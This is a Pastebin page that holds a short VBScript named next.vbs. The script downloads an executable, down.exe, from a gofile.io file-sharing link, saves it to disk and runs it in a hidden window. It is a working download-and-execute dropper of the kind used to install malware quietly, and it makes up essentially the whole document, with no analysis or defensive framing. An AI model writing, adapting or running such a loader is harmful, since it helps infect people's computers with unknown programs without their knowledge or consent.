Advertisement
notroblox

next.vbs

Sep 29th, 2019
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. dim http_obj
  2. dim stream_obj
  3. dim shell_obj
  4.  
  5. set http_obj = CreateObject("Microsoft.XMLHTTP")
  6. set stream_obj = CreateObject("ADODB.Stream")
  7. set shell_obj = CreateObject("WScript.Shell")
  8.  
  9. URL = "https://srv-file7.gofile.io/download/Lo9nu2/down.exe" 'Where to download the file from
  10. FILENAME = "down.exe" 'Name to save the file (on the local system)
  11.  
  12. http_obj.open "GET", URL, False
  13. http_obj.send
  14.  
  15. stream_obj.type = 1
  16. stream_obj.open
  17. stream_obj.write http_obj.responseBody
  18. stream_obj.savetofile FILENAME, 2
  19.  
  20. Set WshShell = CreateObject("WScript.Shell")
  21. WshShell.Run chr(34) & "down.exe" & Chr(34), 0
  22. Set WshShell = Nothing
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement